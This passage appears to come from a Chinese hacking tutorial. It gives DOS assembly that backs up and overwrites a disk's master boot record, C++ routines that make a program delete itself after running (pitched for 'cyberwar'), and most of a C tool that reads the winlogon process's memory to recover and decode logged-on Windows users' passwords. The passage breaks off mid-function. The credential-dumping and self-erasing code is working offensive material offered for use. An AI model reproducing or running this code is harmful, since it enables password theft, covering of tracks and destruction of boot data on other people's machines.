其中:MBR 446字节(0000--01BD),DPT 64字节(01BE--01FD),结束标志2字节(55 AA)
功能:MBR通过检查DPT分区信息引导系统跳转至DBR
详解: (DEBUG -A: MOV AX,0201 MOV BX,0200 MOV CX,0001 MOV DX,0080 INT 13)
000H--08AH MBR启动程序(寻找开机分区)
08BH--0D9H MBR启动字符串
0DAH--1BCH 保留( "0 ")
1BEH--1FDH 硬盘分区表
1FEH--1FFH 结束标志(55AA)
C++内联汇编
在C++代码中插入__asm {}即可
主引导区备份如下
- DATA SEGMENT
- D2 DB 'A:\BOOT.DAT',00H
- DATA ENDS
- CODE SEGMENT
- ASSUME CS:CODE,DS:DATA,ES:DATA
- START:
- MOV AX,DATA
- MOV DS,AX
- MOV ES,AX
- MOV AH,09H
- MOV DX,OFFSET D1
- INT 21H ;显示字符串D1
- MOV AX,0201H
- MOV BX,0700H
- MOV CX,0001H
- MOV DX,0080H
- INT 13H ;读MBR区到内存
- MOV CX,0020H
- MOV DX, OFFSET D2
- MOV AH,3CH
- INT 21H ;建立文件A:\BOOT.DAT
- MOV AL,01H
- MOV DX, OFFSET D2
- MOV AH,3DH
- INT 21H ;打开文件A:\BOOT.DAT(用于写)
- MOV BX,AX
- MOV DX,0700H
- MOV CX,0200H
- MOV AH,40H
- INT 21H ;将内存中的MBR区写入文件中
- MOV AH,4CH
- INT 21H ;退出程序
- CODE ENDS
- END START
DATA SEGMENT
D2 DB 'A:\BOOT.DAT',00H
DATA ENDS
CODE SEGMENT
ASSUME CS:CODE,DS:DATA,ES:DATA
START:
MOV AX,DATA
MOV DS,AX
MOV ES,AX
MOV AH,09H
MOV DX,OFFSET D1
INT 21H ;显示字符串D1
MOV AX,0201H
MOV BX,0700H
MOV CX,0001H
MOV DX,0080H
INT 13H ;读MBR区到内存
MOV CX,0020H
MOV DX, OFFSET D2
MOV AH,3CH
INT 21H ;建立文件A:\BOOT.DAT
MOV AL,01H
MOV DX, OFFSET D2
MOV AH,3DH
INT 21H ;打开文件A:\BOOT.DAT(用于写)
MOV BX,AX
MOV DX,0700H
MOV CX,0200H
MOV AH,40H
INT 21H ;将内存中的MBR区写入文件中
MOV AH,4CH
INT 21H ;退出程序
CODE ENDS
END START
主引导区恢复如下
- DATA SEGMENT
- d2 db " !!!警告!!!",0dh,0ah
- db " 本程序仅用于将MBR1.EXE程序在本机硬盘备份的主引导区A:\BOOT.DAT文件(该文件必须"
- db "在A盘根目录上)恢复到本机硬盘的主引导区,否则硬盘分区会丢失,不听警告,后果自负! "
- db " 确认要执行么?(Y/N)",0dh,0ah,"{1}quot;
- d3 db " A:\BOOT.DAT文件没找到!",0dh,0ah,"{1}quot;
- d4 db "A:\BOOT.DAT",00H
- DATA ENDS
- CODE SEGMENT
- ASSUME CS:CODE,DS:DATA,ES:DATA
- START:
- MOV AX,DATA
- MOV DS,AX
- MOV ES,AX
- MOV AH,09H
- MOV DX,OFFSET D1
- INT 21H ;显示字符串d1
- MOV AH,00H
- INT 16H ;等待用户按任意键键继续
- MOV AH,07H
- MOV AL,00H
- MOV BH,0A4h
- MOV CX,0000H
- MOV DX,184FH
- INT 10H ;设置显示方式(背景绿,前景红)
- MOV AH,09H
- MOV DX,OFFSET D2
- INT 21H ;显示字符串d2(因为此程序有一定的危险性,所以
- ;警告一定要显眼)
- READ_KEYBOARD:
- MOV AH,00H
- INT 16H
- OR AL,20H
- CMP AL,79H
- JZ WRITE ;是Y/y的话就跳转到写MBR区处
- CMP AL,6EH
- JZ EXIT ;是N/n的话跳转到退出处
- JMP READ_KEYBOARD ;是其他键就重新读键
- EXIT:
- MOV AH,07H
- MOV AL,00H
- MOV BH,07H
- MOV CX,0000H
- MOV DX,184FH
- INT 10H ;清屏
- MOV AH,4CH
- INT 21H ;退出程序
- WRITE:
- MOV AH,3DH
- MOV DX,OFFSET D4;
- MOV AL,00H
- INT 21H ;打开A:\BOOT.DAT
- JB ERROR
- PUSH AX
- MOV AH,3FH
- MOV DX,7000H
- MOV CX,0200H
- POP BX
- INT 21H ;将A:\BOOT.DAT读入内存
- MOV AH,03H
- MOV AL,01H
- MOV BX,7000H
- MOV CX,0001H
- MOV DX,0080H
- INT 13H ;写入硬盘MBR区
- JMP EXIT ;跳转到退出程序处
- ERROR:
- MOV AH,09H
- MOV DX,OFFSET D3 ;显示出错信息
- INT 21H
- MOV AH,4CH
- INT 21H ;退出程序
- CODE ENDS
- END START
(4)实现文件自我删除
文件自我删除是一个很有必要的功能,尤其在国家之间的网络战争。
- #include "stdafx.h"
- #include <sys/stat.h> //加入状态显示头文件.
- BOOL SelfDel1()
- {
- SHELLEXECUTEINFO sei;
- TCHAR szModule [MAX_PATH],szComspec[MAX_PATH],szParams [MAX_PATH];
- // 获得文件名.
- if((GetModuleFileName(0,szModule,MAX_PATH)!=0) &&
- (GetShortPathName(szModule,szModule,MAX_PATH)!=0) &&
- (GetEnvironmentVariable("COMSPEC",szComspec,MAX_PATH)!=0))
- {
- // 设置命令参数.
- lstrcpy(szParams,"/c del ");
- lstrcat(szParams, szModule);
- lstrcat(szParams, " > nul");
- // 设置结构成员.
- sei.cbSize = sizeof(sei);
- sei.hwnd = 0;
- sei.lpVerb = "Open";
- sei.lpFile = szComspec;
- sei.lpParameters = szParams;
- sei.lpDirectory = 0;
- sei.nShow = SW_HIDE;
- sei.fMask = SEE_MASK_NOCLOSEPROCESS;
- // 执行shell命令.
- if(ShellExecuteEx(&sei))
- {
- // 设置命令行进程的执行级别为空闲执行,使本程序有足够的时间从内存中退出.
- SetPriorityClass(sei.hProcess,IDLE_PRIORITY_CLASS);
- SetPriorityClass(GetCurrentProcess(),REALTIME_PRIORITY_CLASS);
- SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_TIME_CRITICAL);
- // 通知Windows资源浏览器,本程序文件已经被删除.
- SHChangeNotify(SHCNE_DELETE,SHCNF_PATH,szModule,0);
- return TRUE;
- }
- }
- return FALSE;
- }
- BOOL SelfDel2()
- {
- CStdioFile file;
- CFileException fileEx;
- TCHAR szDir[MAX_PATH];
- TCHAR szModule[MAX_PATH];
- GetModuleFileName(0, szModule, sizeof(szModule)); // 获得应用程序名.
- GetCurrentDirectory(MAX_PATH, szDir); // 获得文件的当前目录.
- CString strFilePath=CString(szDir)+"tempDel.bat"; // 临时批处理文件名.
- if(!file.Open(strFilePath,CFile::modeWrite |
- CFile::typeText | CFile::modeCreate,&fileEx))
- {
- #ifdef _DEBUG
- afxDump << "The file could not be opened " << strFilePath<<"\n";
- afxDump << "Cause :"<<fileEx.m_cause << "\n";
- #endif
- return FALSE;
- }
- CString strCmdLine1,strCmdLine2;
- strCmdLine1.Format("del %s\n",szModule);
- strCmdLine2.Format("del %%0\n");
- file.WriteString(strCmdLine1); // 写删除EXE的命令行.
- file.WriteString(strCmdLine2); // 写删除BAT的命令行.
- file.Close();
- WinExec(strFilePath,SW_HIDE); // 执行自行删除操作.
- return TRUE;
- }
- void main()
- {
- SelfDel1();
- }
(5)获取windows登陆账户密码
Windows Logon Process,Windows NT 用户登陆程序,管理用户登录和退出。
因为登陆的域名和用户名是明文存储在winlogon进程里的,而Password是限定了查找本进程用户的密码
<167-174: GetEnvironmentVariableW(L"USERNAME", UserName, 0x400);
GetEnvironmentVariableW (L"USERDOMAIN", UserDomain, 0x400);
>,然后到winlogon进程的空间中查找UserDomain和UserName < 590:// 在WinLogon的内存空间中寻找UserName和DomainName的字符串
if ((wcscmp ((wchar_t *) RealStartingAddressP, UserName) == 0)
&&
(wcscmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0))
> ,找到后就查后边的加密口令。
其实只要你自己指定用户名和winlogon进程去查找就行了,只要你是管理员,任何本机用msgina.dll图形登陆的用户口令都可以找到。
1. pulist,找到系统里登陆的域名和用户名,及winlogon进程id
2. 然后给每个winlogon进程id查找指定的用户就行了。
example:
C:\Documents and Settings\bingle>pulist
Process PID User
Idle 0
System 8
smss.exe 164 NT AUTHORITY\SYSTEM
csrss.exe 192 NT AUTHORITY\SYSTEM
winlogon.exe 188 NT AUTHORITY\SYSTEM
wins.exe 1212 NT AUTHORITY\SYSTEM
Explorer.exe 388 TEST-2KSERVER\Administrator
internat.exe 1828 TEST-2KSERVER\Administrator
conime.exe 1868 TEST-2KSERVER\Administrator
msiexec.exe 1904 NT AUTHORITY\SYSTEM
tlntsvr.exe 1048 NT AUTHORITY\SYSTEM
taskmgr.exe 1752 TEST-2KSERVER\Administrator
csrss.exe 2056 NT AUTHORITY\SYSTEM
winlogon.exe 2416 NT AUTHORITY\SYSTEM
rdpclip.exe 2448 TEST-2KSERVER\clovea
Explorer.exe 2408 TEST-2KSERVER\clovea
internat.exe 1480 TEST-2KSERVER\clovea
cmd.exe 2508 TEST-2KSERVER\Administrator
ntshell.exe 368 TEST-2KSERVER\Administrator
ntshell.exe 1548 TEST-2KSERVER\Administrator
ntshell.exe 1504 TEST-2KSERVER\Administrator
csrss.exe 1088 NT AUTHORITY\SYSTEM
winlogon.exe 1876 NT AUTHORITY\SYSTEM
rdpclip.exe 1680 TEST-2KSERVER\bingle
Explorer.exe 2244 TEST-2KSERVER\bingle
conime.exe 2288 TEST-2KSERVER\bingle
internat.exe 1592 TEST-2KSERVER\bingle
cmd.exe 1692 TEST-2KSERVER\bingle
mdm.exe 2476 TEST-2KSERVER\bingle
taskmgr.exe 752 TEST-2KSERVER\bingle
pulist.exe 2532 TEST-2KSERVER\bingle
具体实现代码如下
- #include <windows.h>
- #include <tchar.h>
- #include <stdio.h>
- #include <stdlib.h>
- typedef struct _UNICODE_STRING
- {
- USHORT Length;
- USHORT MaximumLength;
- PWSTR Buffer;
- } UNICODE_STRING, *PUNICODE_STRING;
- // Undocumented typedef's
- typedef struct _QUERY_SYSTEM_INFORMATION
- {
- DWORD GrantedAccess;
- DWORD PID;
- WORD HandleType;
- WORD HandleId;
- DWORD Handle;
- } QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION;
- typedef struct _PROCESS_INFO_HEADER
- {
- DWORD Count;
- DWORD Unk04;
- DWORD Unk08;
- } PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER;
- typedef struct _PROCESS_INFO
- {
- DWORD LoadAddress;
- DWORD Size;
- DWORD Unk08;
- DWORD Enumerator;
- DWORD Unk10;
- char Name [0x108];
- } PROCESS_INFO, *PPROCESS_INFO;
- typedef struct _ENCODED_PASSWORD_INFO
- {
- DWORD HashByte;
- DWORD Unk04;
- DWORD Unk08;
- DWORD Unk0C;
- FILETIME LoggedOn;
- DWORD Unk18;
- DWORD Unk1C;
- DWORD Unk20;
- DWORD Unk24;
- DWORD Unk28;
- UNICODE_STRING EncodedPassword;
- } ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO;
- typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION) (DWORD, PVOID, DWORD, PDWORD);
- typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD);
- typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID);
- typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID);
- typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING) (BYTE, PUNICODE_STRING);
- // Private Prototypes
- BOOL IsWinNT (void);
- BOOL IsWin2K (void);
- BOOL AddDebugPrivilege (void);
- DWORD FindWinLogon (void);
- BOOL LocatePasswordPageWinNT (DWORD, PDWORD);
- BOOL LocatePasswordPageWin2K (DWORD, PDWORD);
- void DisplayPasswordWinNT (void);
- void DisplayPasswordWin2K (void);
- // Global Variables
- PFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation;
- PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer;
- PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation;
- PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer;
- PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString;
- DWORD PasswordLength = 0;
- PVOID RealPasswordP = NULL;
- PVOID PasswordP = NULL;
- DWORD HashByte = 0;
- wchar_t UserName [0x400];
- wchar_t UserDomain [0x400];
- int __cdecl main( int argc, char* argv[] )
- {
- printf( "\n\t To Find Password in the Winlogon process\n" );
- printf( " Usage: %s DomainName UserName PID-of-WinLogon\n\n", argv[0] );
- if ((!IsWinNT ())
- &&
- (!IsWin2K ()))
- {
- printf ("Windows NT or Windows 2000 are required.\n");
- return (0);
- }
- // Add debug privilege to PasswordReminder -
- // this is needed for the search for Winlogon.
- // 增加PasswordReminder的权限
- // 使得PasswordReminder可以打开并调试Winlogon进程
- if (!AddDebugPrivilege ())
- {
- printf
- ("Unable to add debug privilege.\n");
- return (0);
- }
- printf ("The debug privilege has been added to PasswordReminder.\n");
- // 获得几个未公开API的入口地址
- HINSTANCE hNtDll =
- LoadLibrary
- ("NTDLL.DLL");
- pfnNtQuerySystemInformation =
- (PFNNTQUERYSYSTEMINFORMATION) GetProcAddress
- (hNtDll,
- "NtQuerySystemInformation");
- pfnRtlCreateQueryDebugBuffer =
- (PFNRTLCREATEQUERYDEBUGBUFFER) GetProcAddress
- (hNtDll,
- "RtlCreateQueryDebugBuffer");
- pfnRtlQueryProcessDebugInformation =
- (PFNRTLQUERYPROCESSDEBUGINFORMATION) GetProcAddress
- (hNtDll,
- "RtlQueryProcessDebugInformation");
- pfnRtlDestroyQueryDebugBuffer =
- (PFNRTLDESTROYQUERYDEBUGBUFFER) GetProcAddress
- (hNtDll,
- "RtlDestroyQueryDebugBuffer");
- pfnRtlRunDecodeUnicodeString =
- (PFNTRTLRUNDECODEUNICODESTRING) GetProcAddress
- (hNtDll,
- "RtlRunDecodeUnicodeString");
- // Locate WinLogon's PID - need debug privilege and admin rights.
- // 获得Winlogon进程的PID
- // 这里作者使用了几个Native API,其实使用PSAPI一样可以
- DWORD WinLogonPID =
- argc > 3 ? atoi( argv[3] ) : FindWinLogon () ;
- if (WinLogonPID == 0)
- {
- printf
- ("PasswordReminder is unable to find WinLogon or you are using NWGINA.DLL.\n");
- printf
- ("PasswordReminder is unable to find the password in memory.\n");
- FreeLibrary (hNtDll);
- return (0);
- }
- printf("The WinLogon process id is %d (0x%8.8lx).\n",
- WinLogonPID, WinLogonPID);
- // Set values to check memory block against.
- // 初始化几个和用户账号相关的变量
- memset(UserName, 0, sizeof (UserName));
- memset(UserDomain, 0, sizeof (UserDomain));
- if( argc > 2 )
- {
- mbstowcs( UserName, argv[2], sizeof(UserName)/sizeof(*UserName) );
- mbstowcs( UserDomain, argv[1], sizeof(UserDomain)/sizeof(*UserDomain) );
- }else
- {
- GetEnvironmentVariableW(L"USERNAME", UserName, 0x400);
- GetEnvironmentVariableW(L"USERDOMAIN", UserDomain, 0x400);
- }
- printf( " To find %S\\%S password in process %d ...\n", UserDomain, UserName, WinLogonPID );
- // Locate the block of memory containing
- // the password in WinLogon's memory space.
- // 在Winlogon进程中定位包含Password的内存块
- BOOL FoundPasswordPage = FALSE;
- if (IsWin2K ())
- FoundPasswordPage =
- LocatePasswordPageWin2K
- (WinLogonPID,
- &PasswordLength);
- else
- FoundPasswordPage =
- LocatePasswordPageWinNT
- (WinLogonPID,
- &PasswordLength);
- if (FoundPasswordPage)
- {
- if (PasswordLength == 0)
- {
- printf
- ("The logon information is: %S/%S.\n",
- UserDomain,
- UserName);
- printf
- ("There is no password.\n");
- }
- else
- {
- printf
- ("The encoded password is found at 0x%8.8lx and has a length of %d.\n",
- RealPasswordP,
- PasswordLength);
- // Decode the password string.
- if (IsWin2K ())
- DisplayPasswordWin2K ();
- else
- DisplayPasswordWinNT ();
- }
- }
- else
- printf
- ("PasswordReminder is unable to find the password in memory.\n");
- FreeLibrary
- (hNtDll);
- return (0);
- } // main
- //
- // IsWinNT函数用来判断操作系统是否WINNT
- //
- BOOL
- IsWinNT
- (void)
- {
- OSVERSIONINFO OSVersionInfo;
- OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
- if (GetVersionEx
- (&OSVersionInfo))
- return (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT);
- else
- return (FALSE);
- } // IsWinNT
- //
- // IsWin2K函数用来判断操作系统是否Win2K
- //
- BOOL
- IsWin2K
- (void)
- {
- OSVERSIONINFO OSVersionInfo;
- OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
- if (GetVersionEx
- (&OSVersionInfo))
- return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT)
- &&
- (OSVersionInfo.dwMajorVersion == 5));
- else
- return (FALSE);
- } // IsWin2K
- //
- // AddDebugPrivilege函数用来申请调试Winlogon进程的特权
- //
- BOOL
- AddDebugPrivilege
- (void)
- {
- HANDLE Token;
- TOKEN_PRIVILEGES TokenPrivileges, PreviousState;
- DWORD ReturnLength = 0;
- if (OpenProcessToken
- (GetCurrentProcess (),
- TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES,
- &Token))
- if (LookupPrivilegeValue
- (NULL,
- "SeDebugPrivilege",
- &TokenPrivileges.Privileges[0].Luid))
- {
- TokenPrivileges.PrivilegeCount = 1;
- TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
- return
- (AdjustTokenPrivileges
- (Token,
- FALSE,
- &TokenPrivileges,
- sizeof (TOKEN_PRIVILEGES),
- &PreviousState,
- &ReturnLength));
- }
- return (FALSE);
- } // AddDebugPrivilege
- //
- // Note that the following code eliminates the need
- // for PSAPI.DLL as part of the executable.
- // FindWinLogon函数用来寻找WinLogon进程
- // 由于作者使用的是Native API,因此不需要PSAPI的支持
- //
- DWORD
- FindWinLogon
- (void)
- {
- #define INITIAL_ALLOCATION 0x100
- DWORD rc = 0;
- DWORD SizeNeeded = 0;
- PVOID InfoP =
- HeapAlloc
- (GetProcessHeap (),
- HEAP_ZERO_MEMORY,
- INITIAL_ALLOCATION);
- // Find how much memory is required.
- pfnNtQuerySystemInformation
- (0x10,
- InfoP,
- INITIAL_ALLOCATION,
- &SizeNeeded);
- HeapFree
- (GetProcessHeap (),
- 0,
- InfoP);
- // Now, allocate the proper amount of memory.
- InfoP =
- HeapAlloc
- (GetProcessHeap (),
- HEAP_ZERO_MEMORY,
- SizeNeeded);
- DWORD SizeWritten = SizeNeeded;
- if (pfnNtQuerySystemInformation
- (0x10,
- InfoP,
- SizeNeeded,
- &SizeWritten))
- {
- HeapFree
- (GetProcessHeap (),
- 0,
- InfoP);
- return (0);
- }
- DWORD NumHandles = SizeWritten / sizeof (QUERY_SYSTEM_INFORMATION);
- if (NumHandles == 0)
- {
- HeapFree
- (GetProcessHeap (),
- 0,
- InfoP);
- return (0);
- }
- PQUERY_SYSTEM_INFORMATION QuerySystemInformationP =
- (PQUERY_SYSTEM_INFORMATION) InfoP;
- DWORD i;
- for (i = 1; i <= NumHandles; i++)
- {
- // "5" is the value of a kernel object type process.
- if (QuerySystemInformationP->HandleType == 5)
- {
- PVOID DebugBufferP =
- pfnRtlCreateQueryDebugBuffer
- (0,
- 0);
- if (pfnRtlQueryProcessDebugInformation
- (QuerySystemInformationP->PID,
- 1,
- DebugBufferP) == 0)
- {
- PPROCESS_INFO_HEADER ProcessInfoHeaderP =
- (PPROCESS_INFO_HEADER) ((DWORD) DebugBufferP + 0x60);
- DWORD Count =
- ProcessInfoHeaderP->Count;
- PPROCESS_INFO ProcessInfoP =
- (PPROCESS_INFO) ((DWORD) ProcessInfoHeaderP + sizeof (PROCESS_INFO_HEADER));
- if (strstr (_strupr (ProcessInfoP->Name), "WINLOGON") != 0)
- {
- DWORD i;
- DWORD dw = (DWORD) ProcessInfoP;
- for (i = 0; i < Count; i++)
- {
- dw += sizeof (PROCESS_INFO);
- ProcessInfoP = (PPROCESS_INFO) dw;
- if (strstr (_strupr (ProcessInfoP->Name), "NWGINA") != 0)
- return (0);
- if (strstr (_strupr (ProcessInfoP->Name), "MSGINA") == 0)
- rc =
- QuerySystemInformationP->PID;
- }
- if (DebugBufferP)
- pfnRtlDestroyQueryDebugBuffer
- (DebugBufferP);
- HeapFree
- (GetProcessHeap (),
- 0,
- InfoP);
- return (rc);
- }
- }
- if (DebugBufferP)
- pfnRtlDestroyQueryDebugBuffer
- (DebugBufferP);
- }
- DWORD dw = (DWORD) QuerySystemInformationP;
- dw += sizeof (QUERY_SYSTEM_INFORMATION);
- QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) dw;
- }
- HeapFree
- (GetProcessHeap (),
- 0,
- InfoP);
- return (rc);
- } // FindWinLogon
- //
- // LocatePasswordPageWinNT函数用来在NT中找到用户密码
- //
- BOOL
- LocatePasswordPageWinNT
- (DWORD WinLogonPID,
- PDWORD PasswordLength)
- {
- #define USER_DOMAIN_OFFSET_WINNT 0x200
- #define USER_PASSWORD_OFFSET_WINNT 0x400
- BOOL rc = FALSE;
- HANDLE WinLogonHandle =
- OpenProcess
- (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
- FALSE,
- WinLogonPID);
- if (WinLogonHandle == 0)
- return (rc);
- *PasswordLength = 0;
- SYSTEM_INFO SystemInfo;
- GetSystemInfo
- (&SystemInfo);
- DWORD PEB = 0x7ffdf000;
- DWORD BytesCopied = 0;
- PVOID PEBP =
- HeapAlloc
- (GetProcessHeap (),
- HEAP_ZERO_MEMORY,
- SystemInfo.dwPageSize);
- if (!ReadProcessMemory
- (WinLogonHandle,
- (PVOID) PEB,
- PEBP,
- SystemInfo.dwPageSize,
- &BytesCopied))
- {
- CloseHandle
- (WinLogonHandle);
- return (rc);
- }
- // Grab the value of the 2nd DWORD in the TEB.
- PDWORD WinLogonHeap = (PDWORD) ((DWORD) PEBP + (6 * sizeof (DWORD)));
- MEMORY_BASIC_INFORMATION MemoryBasicInformation;
- if (VirtualQueryEx
- (WinLogonHandle,
- (PVOID) *WinLogonHeap,
- &MemoryBasicInformation,
- sizeof (MEMORY_BASIC_INFORMATION)))
- if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)
- &&
- ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))
- {
- PVOID WinLogonMemP =
- HeapAlloc
- (GetProcessHeap (),
- HEAP_ZERO_MEMORY,
- MemoryBasicInformation.RegionSize);
- if (ReadProcessMemory
- (WinLogonHandle,
- (PVOID) *WinLogonHeap,
- WinLogonMemP,
- MemoryBasicInformation.RegionSize,
- &BytesCopied))
- {
- DWORD i = (DWORD) WinLogonMemP;
- DWORD UserNamePos = 0;
- // The order in memory is UserName followed by the UserDomain.
- // 在内存中搜索UserName和UserDomain字符串
- do
- {
- if ((wcsicmp (UserName, (wchar_t *) i) == 0)
- &&
- (wcsicmp (UserDomain, (wchar_t *) (i + USER_DOMAIN_OFFSET_WINNT)) == 0))
- {
- UserNamePos = i;
- break;
- }
- i += 2;
- } while (i < (DWORD) WinLogonMemP + MemoryBasicInformation.RegionSize);
- if (UserNamePos)
- {
- PENCODED_PASSWORD_INFO EncodedPasswordInfoP =
- (PENCODED_PASSWORD_INFO)
- ((DWORD) UserNamePos + USER_PASSWORD_OFFSET_WINNT);
- FILETIME LocalFileTime;
- SYSTEMTIME SystemTime;
- if (FileTimeToLocalFileTime
- (&EncodedPasswordInfoP->LoggedOn,
- &LocalFileTime))
- if (FileTimeToSystemTime
- (&LocalFileTime,
- &SystemTime))
- printf
- ("You logged on at %d/%d/%d %d:%d:%d\n",
- SystemTime.wMonth,
- SystemTime.wDay,
- SystemTime.wYear,
- SystemTime.wHour,
- SystemTime.wMinute,
- SystemTime.wSecond);
- *PasswordLength =
- (EncodedPasswordInfoP->EncodedPassword.Length & 0x00ff) / sizeof (wchar_t);
- // NT就是好,hash-byte直接放在编码中:)
- HashByte =
- (EncodedPasswordInfoP->EncodedPassword.Length & 0xff00) >> 8;
- RealPasswordP =
- (PVOID) (*WinLogonHeap +
- (UserNamePos - (DWORD) WinLogonMemP) +
- USER_PASSWORD_OFFSET_WINNT + 0x34);
- PasswordP =
- (PVOID) ((PBYTE) (UserNamePos +
- USER_PASSWORD_OFFSET_WINNT + 0x34));
- rc = TRUE;
- }
- }
- }
- HeapFree
- (GetProcessHeap (),
- 0,
- PEBP);
- CloseHandle
- (WinLogonHandle);
- return (rc);
- } // LocatePasswordPageWinNT
- //
- // LocatePasswordPageWin2K函数用来在Win2K中找到用户密码
- //
- BOOL
- LocatePasswordPageWin2K
- (DWORD WinLogonPID,
- PDWORD PasswordLength)
- {
- #define USER_DOMAIN_OFFSET_WIN2K 0x400
- #define USER_PASSWORD_OFFSET_WIN2K 0x800
- HANDLE WinLogonHandle =
- OpenProcess
- (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
- FALSE,
- WinLogonPID);
- if (WinLogonHandle == 0)
- return (FALSE);
- *PasswordLength = 0;
- SYSTEM_INFO SystemInfo;
- GetSystemInfo
- (&SystemInfo);
- DWORD i = (DWORD) SystemInfo.lpMinimumApplicationAddress;
- DWORD MaxMemory = (DWORD) SystemInfo.lpMaximumApplicationAddress;
- DWORD Increment = SystemInfo.dwPageSize;
- MEMORY_BASIC_INFORMATION MemoryBasicInformation;
- while (i < MaxMemory)
- {
- if (VirtualQueryEx
- (WinLogonHandle,
- (PVOID) i,
- &MemoryBasicInformation,
- sizeof (MEMORY_BASIC_INFORMATION)))
- {
- Increment = MemoryBasicInformation.RegionSize;
- if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)
- &&
- ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))
- {
- PVOID RealStartingAddressP =
- HeapAlloc
- (GetProcessHeap (),
- HEAP_ZERO_MEMORY,
- MemoryBasicInformation.RegionSize);
- DWORD BytesCopied = 0;
- if (ReadProcessMemory
- (WinLogonHandle,
- (PVOID) i,
- RealStartingAddressP,
- MemoryBasicInformation.RegionSize,
- &BytesCopied))
- {
- // 在WinLogon的内存空间中寻找UserName和DomainName的字符串
- if ((wcsicmp ((wchar_t *) RealStartingAddressP, UserName) == 0)
- &&
- (wcsicmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0))
- {
- RealPasswordP = (PVOID) (i + USER_PASSWORD_OFFSET_WIN2K);
- PasswordP = (PVOID) ((DWORD) RealStartingAddressP + USER_PASSWORD_OFFSET_WIN2K);
- // Calculate the length of encoded unicode string.
- // 计算出密文的长度
- PBYTE p = (PBYTE) PasswordP;
- DWORD Loc = (DWORD) p;
- DWORD Len = 0;
- if ((*p == 0)
- &&
- (* (PBYTE) ((DWORD) p + 1) == 0))
- ;
- else
- do
- {
- Len++;
- Loc += 2;
- p = (PBYTE) Loc;
- } while
- (*p != 0);
- *PasswordLength = Len;
- CloseHandle
- (WinLogonHandle);
- return (TRUE);
- }
- }
- HeapFree
- (GetProcessHeap (),
- 0,
- RealStartingAddressP);
- }
- }
- else
- Increment = SystemInfo.dwPageSize;
- // Move to next memory block.
- i += Increment;
- }
- CloseHandle
- (WinLogonHandle);
- return (FALSE);
- } // LocatePasswordPageWin2K
- //
- // DisplayPasswordWinNT函数用来在NT中解码用户密码
- //
- void
- DisplayPasswordWinNT
- (void)
- {
- UNICODE_STRING EncodedString;
- EncodedString.Length =
- (WORD) PasswordLength * sizeof (wchar_t);
- EncodedString.MaximumLength =
- ((WORD) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);
- EncodedString.Buffer =
- (PWSTR) HeapAlloc
- (GetProcessHeap (),
- HEAP_ZERO_MEMORY,
- EncodedString.MaximumLength);
- CopyMemory
- (EncodedString.Buffer,
- PasswordP,
- PasswordLength * sizeof (wchar_t));
- // Finally - decode the password.
- // Note that only one call is required since the hash-byte
- // was part of the orginally encoded string.
- // 在NT中,hash-byte是包含在编码中的
- // 因此只需要直接调用函数解码就可以了
- pfnRtlRunDecodeUnicodeString
- ((BYTE) HashByte,
- &EncodedString);
- printf
- ("The logon information is: %S/%S/%S.\n",
- UserDomain,
- UserName,
- EncodedString.Buffer);
- printf
- ("The hash byte is: 0x%2.2x.\n",
- HashByte);
- HeapFree
- (GetProcessHeap (),
- 0,
- EncodedString.Buffer);
- } // DisplayPasswordWinNT
- //
- // DisplayPasswordWin2K函数用来在Win2K中解码用户密码
- //
- void
- DisplayPasswordWin2K
- (void)
- {
- DWORD i, Hash = 0;
- UNICODE_STRING EncodedString;
- EncodedString.Length =
- (USHORT) PasswordLength * sizeof (wchar_t);
- EncodedString.MaximumLength =
- ((USHORT) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);
- EncodedString.Buffer =
- (PWSTR) HeapAlloc
- (GetProcessHeap (),
- HEAP_ZERO_MEMORY,
- EncodedString.MaximumLength);
- // This is a brute force technique since the hash-byte
- // is not stored as part of the encoded string - :>(.
- // 因为在Win2K中hash-byte并不存放在编码中
- // 所以在这里进行的是暴力破解
- // 下面的循环中i就是hash-byte
- // 我们将i从0x00到0xff分别对密文进行解密
- // 如果有一个hash-byte使得所有密码都是可见字符,就认为是有效的
- // 这个算法实际上是从概率角度来解码的
- // 因为如果hash-byte不对而解密出来的密码都是可见字符的概率非常小
- for (i = 0; i <= 0xff; i++)
- {
- CopyMemory
- (EncodedString.Buffer,
- PasswordP,
- PasswordLength * sizeof (wchar_t));
- // Finally - try to decode the password.
- // 使用i作为hash-byte对密文进行解码
- pfnRtlRunDecodeUnicodeString
- ((BYTE) i,
- &EncodedString);
- // Check for a viewable password.
- // 检查解码出的密码是否完全由可见字符组成
- // 如果是则认为是正确的解码
- PBYTE p = (PBYTE) EncodedString.Buffer;
